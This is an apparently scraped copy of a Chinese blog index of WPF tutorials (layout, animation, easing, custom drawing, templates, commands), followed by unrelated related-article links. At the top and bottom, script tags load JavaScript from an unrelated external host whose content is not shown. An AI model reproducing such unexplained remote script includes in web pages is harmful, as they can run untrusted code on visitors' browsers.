<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>

博客园CLR基础研究团队 | CLR团队精品系列 | 周银辉的技术博客

      [WPF实践之路] 
                                       目录导航
                                                                                      作者: 周银辉     发布日期: 2007年10月17日               
                                                                                       ©2007 http://zhouyinhui.cnblogs.com/ 原创作品 转载请注明作者与出处

学习WPF快一年了,在博客园中也写了不少随笔,今天将其中的部分随笔整理出来以便和园子里的兄弟们更好的交流学习,希望大家支持。
另外,这里只整理了那些原创的且容易归类的随笔,其它的一些较散乱的WPF随笔请访问我的博客, 随着学习的深入我的随笔也会增加并会尽可能地追加到此导航目录中。谢谢大家的支持!

1,WPF控件与布局系列

1.1  WPF中的控件布局 
       在这篇随笔里我主要介绍了WPF的几种基本的布局控件,包括Canvas,Grid,StackPanel等,运用这些布局控件我们可以很轻松地完成以前Window Forms开发时不易完成的布局任务

1.2 .net3.0 中跨线程访问控件 
      .net3.0中要跨线程访问控件与以前相比有一些小小的改变了,请详见随笔正文

1.3 WPF中, 启用添加到RichTextBox中的控件 
     WPF中RichTextBox的确非常的强大, 但让人很郁闷的是:添加到其中的控件总是被禁用的(IsEnabled始终为false),虽然我们已经将Button的IsEnable属性设置为True,但实际运行时其仍然是被禁用的.本随笔将告诉你如何启用它

1.4 自定义WPF面板
     WPF拥有很多布局面板,比如Grid, StackPanel等,这让我们的界面布局更加的灵活,但也许这些面板并不能完全满足你的需求,这时你需要自定义面板来满足你的布局要求.

1.5 WPF中InkCanvas(墨水面板)用法
     WPF中提供了一个很有趣的控件InkCanvas,我们这里将提供一个比较Cool的Demo并分享其功能.

1.6 WPF中的日历控件
     WPF没有提供标准的日历控件,这给开发带来了些不便. 这里找到了一个日历控件,是Microsoft开发的, 但其只相当与.net2.0中的普通日历控件,而没有Vista中日历控件那么酷.

2,WPF动画系列

2.1 WPF中的动画
      动画无疑是WPF中最吸引人的特色之一,其可以像Flash一样平滑地播放并与程序逻辑进行很好的交互。这里我们讨论一下故事板。

2.2 一头雾水的"Follow The Pointer"
      Microsoft Expression Blend中有一个示例程序"Follow The Pointer", 看程序演示会觉得很酷,看代码会觉得一头雾水, 不过现在我便借此介绍一下WPF中的CompositionTarget 以及该示例中设计到了一些物理知识.

2.3 WPF中的PathAnimation(路径动画)
      介绍一下如何使用Microsoft Expression Blend与编码两种方式编写路径动画

2.4 让GridLength支持动画 
     这篇随笔提供了一个不错的DEMO,从这里你可以知道如何打造自己的动画类型

2.5 WPF与缓动(一) N次缓动
      如果我们希望制作的动画效果像现实生活中的运动一样平滑, 比如汽车的启动与停止总有一个加速或减速的过程, 那么我们有必要研究一下"缓动"

2.6 WPF与缓动(二) 正弦与余弦缓动
      如果要比二次缓动来得更平缓, 可以使用正弦或余弦缓动.这里介绍一下.

2.7 WPF与缓动(三) 指数缓动
      指数缓动给人的感觉是加速度很大. 它的原始公式来自:P(t) = Math.Pow(2, 10*(t-1)); 这里介绍一下

2.8 WPF与缓动(四) 弧形缓动
      弧形缓动就是其缓动曲线为一段圆弧, 如何我们假设圆弧上的点的斜率为速度的话,那么可以想像其速度的变化多么具有戏剧性, 其加速或减速来得很突然, 与5次缓动差不多.

3,WPF图像绘制系列

3.1 在WPF中自定义你的绘制(一)
      在传统的Windows窗体编程中,如果我们需要打造一些比较个性化的控件,那么我们常常需要自定义控件的绘制(重写OnPaint等),即需要经常用到Graphics对象。而在WPF中,我们可以使用Xaml轻松编写出很有特色的界面元素,似乎与以前的以前利用Graphics对象手写代码绘制控件的日子越来越远了。其实在WPF中,如果我们需要低级别的自定义绘制同样是可以的,那么我们就需要一个名DrawingContext的类。与OnPaint方法相对应的是OnRender方法(当然,你也可以在其他地方进行绘制)。

3.2 在WPF中自定义你的绘制(二)
     绘制几何图形,图片以及文本

3.3 在WPF中自定义你的绘制(三)
     讨论一下WPF如何将多个图形进行合并绘制。

3.4 在WPF中自定义你的绘制(四)
     讨论一下如何使用PahtGeometry来绘制复杂的图形

4,WPF模板样式系列

4.1 WPF中的Style(风格,样式)
    在WPF中我们可以使用Style来设置控件的某些属性值,并使该设置影响到指定范围内的所有该类控件或影响指定的某一控件,比如说我们想将窗口中的所有按钮都保持某一种风格,那么我们可以设置一个Style,而不必分别设置每个按钮的风格。

4.2 WPF中的ControlTemplate(控件模板)
     WPF包含数据模板和控件模板,其中控件模板又包括ControlTemplate和ItemsPanelTemplate,这里讨论一下ControlTemplate。

4.3 WPF中的数据模板(DataTemplate)
      在WPF中我们可以为自己的数据定制显示方式,也就是说虽然某数据数据是一定的,但我们可以做到让它的表现方式多种多样,比如一个时间,在以前我们一般使用一个字符串(比如“12:03”)来显示,但我们为什么就不能显示一个小时钟呢,其实这更合乎情理,利用WPF中的数据模板技术随意并轻松地表现你的数据.

4.4 Show me the Template
      默认控件模板无疑是最好的学习模板的资源,通过这里提供的开源小程序你可以方便地查看系统模板

5,WPF数据绑定、命令系列

5.2 WPF中的命令与命令绑定(一)
      本系列随笔将与你一起探讨WPF中的Commanding机制以及应用

5.3 WPF中的命令与命令绑定(二)
      本系列随笔将与你一起探讨WPF中的Commanding机制以及应用,这是第二部分

6,其它实践系列

6.1 用WPF轻松打造iTunes CoverFlow效果
      苹果iTunes播放器的CoverFlow效果羡煞旁人,不过有了WPF,我们也可以轻松实现

6.2 为WPF项目创建单元测试
      可能你已发现一个问题,我们无法使用VS对WPF项目创建单元测试(VS2005不行,VS2008我没试过,但据说也不行),这让人很郁闷,这里将介绍如何使用NUnit来对WPF项目创建单元测试并解决其中的难题(但利用NUnit来对WPF创建单元测试时并不会像针对.Net2.0一样容易,可能会出现一些小问题).

6.4 为WPF中DropShadowBitmapEffect提供轻量级的替代品
      在位图效果中,最常用的当数阴影(DropShadowBitmapEffect),这里有一个DropShadowBitmapEffect的替代品SystemDropShadowChrome,其虽算不上完美,但在很多时候却是一个不错的解决DropShadowBitmapEffect性能问题的方法.

6.5 WPF中,如何将Vista Aero效果扩展到整个窗口
     有不少示例介绍了如何将Vista Aero效果扩展到整个窗口,但大都是针对Windows Form应用程序,而不是WPF,这里介绍一下如何在WPF中扩展Aero效果

文章来源于 http://www.cnblogs.com/zhouyinhui 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>

[WPF实践之路] 目录导航相关推荐

  1. [Prism]Composite Application Guidance for WPF(10)——系列目录导航

    [Prism]Composite Application Guidance for WPF(10)--系列目录导航                                            ...

  2. 《背影》——朱自清(目录导航测试)

    我去买几个橘子 我与父亲不相见已二年余了,我最不能忘记的是他的背影. 那年冬天,祖母死了,父亲的差使也交卸了,正是祸不单行的日子.我从北京到徐州,打算跟着父亲奔丧回家.到徐州见着父亲,看见满院狼藉的东 ...

  3. 领域驱动设计(DDD)实践之路(三):如何设计聚合

    本文首发于 vivo互联网技术 微信公众号  链接:https://mp.weixin.qq.com/s/oAD25H0UKH4zujxFDRXu9Q 作者:wenbo zhang [领域驱动设计实践 ...

  4. 有赞数据库自动化运维实践之路

    「运维内推」有赞诚聘:应用运维工程师.系统运维工程师.运维开发工程师.DBA.请关注文末链接 一.前言 有赞作为"新零售"的软件服务供应商,随着业务的不断发展,从第一批几十家商户到 ...

  5. 【专栏必读】王道考研408计算机网络+湖科大教书匠计算机网络+网络编程万字笔记、题目题型总结、注意事项、目录导航和思维导图

    王道考研复习指导下载(密码7281) 其他科目导航 [专栏必读]王道考研408计算机组成原理万字笔记(从学生角度辅助大家理解):各章节导航及思维导图 [专栏必读]王道考研408操作系统万字笔记.题目题 ...

  6. 软件性能测试分析与调优实践之路-JMeter对RPC服务的性能压测分析与调优-手稿节选

    一.JMeter 如何通过自定义Sample来压测RPC服务 RPC(Remote Procedure Call)俗称远程过程调用,是常用的一种高效的服务调用方式,也是性能压测时经常遇到的一种服务调用 ...

  7. 软件性能测试分析与调优实践之路-Java应用程序的性能分析与调优-手稿节选

    Java编程语言自从诞生起,就成为了一门非常流行的编程语言,覆盖了互联网.安卓应用.后端应用.大数据等很多技术领域,因此Java应用程序的性能分析和调优也是一门非常重要的课题.Java应用程序的性能直 ...

  8. 【转载】软件性能测试分析与调优实践之路-Web中间件的性能分析与调优总结

    本文主要阐述软件性能测试中的一些调优思想和技术,节选自作者新书<软件性能测试分析与调优实践之路>部分章节归纳. 在国内互联网公司中,Web中间件用的最多的就是Apache和Nginx这两款 ...

  9. PHP实践之路(七)PHP函数

    PHP实践之路(目录索引) PHP函数 1.函数名 a.函数名以字母或下划线打头,后面跟字母,数字或下划线(大小写无关) b.所有函数和类都具有全局作用域,可以在内部定义外部调用,反之亦然. c.不支 ...

最新文章

  1. 在Ubuntu 14.04 64bit上编译安装xbt tracker
  2. excel打不开怎么修复_SD卡坏了怎么办?一招教你拯救文件!
  3. 微软云Azure创建一个web app
  4. C++ ## ... 实用
  5. 自动化持续集成Jenkins
  6. Chromium版Edge体验——几个理由告诉你为什么卸载Chrome!
  7. linux系统下/proc深度解析
  8. winfrom下,如何实现类似QQ右下角弹出新闻
  9. mfc radio group 设置
  10. [JSOI2009]瓶子和燃料
  11. 不小心删除的文件怎么找回,文件误删除恢复的方法
  12. JavaScript打开关闭窗口事件
  13. 北上广深,逃离还是奔向?
  14. 计算机管理员被停用,命令提示符已被系统管理员停用,详细教您命令提示符已被系统管理员停用怎么办...
  15. 健康小贴士:喝酒时别点哪些菜_新闻中心_新浪网
  16. 干货/企业推广软文写作技巧
  17. 今日头条推广房产的广告需要什么资质?今日头条广告开户找哪里?
  18. webrtc服务器_服务器WebRTC over TCP的通道质量指标
  19. Mac安装Meld,并使用Meld作为git merge tool的工具
  20. JS中操作<select>标签选的值

热门文章

  1. Transaction rollback
  2. s19.基于 Kubernetes v1.25 (kubeadm) 和 Docker 部署高可用集群(一)
  3. Aspose.word java 实现word转pdf
  4. 格莱富笔记本电脑教你如何优化笔记本电脑系统
  5. 测试硬盘供电不足的软件,DIY移动SSD固态硬盘担心供电不足?选ta绝对放心
  6. [词性] 十七、介词 7 [ to ] [ since ] [ through ] [ under ] [ up ] [ with ]
  7. C语言ATM机模拟操作程序
  8. qt linguist使用注意
  9. vue mysql 电商,Vue电商项目
  10. An Invitation to Algebraic Geometry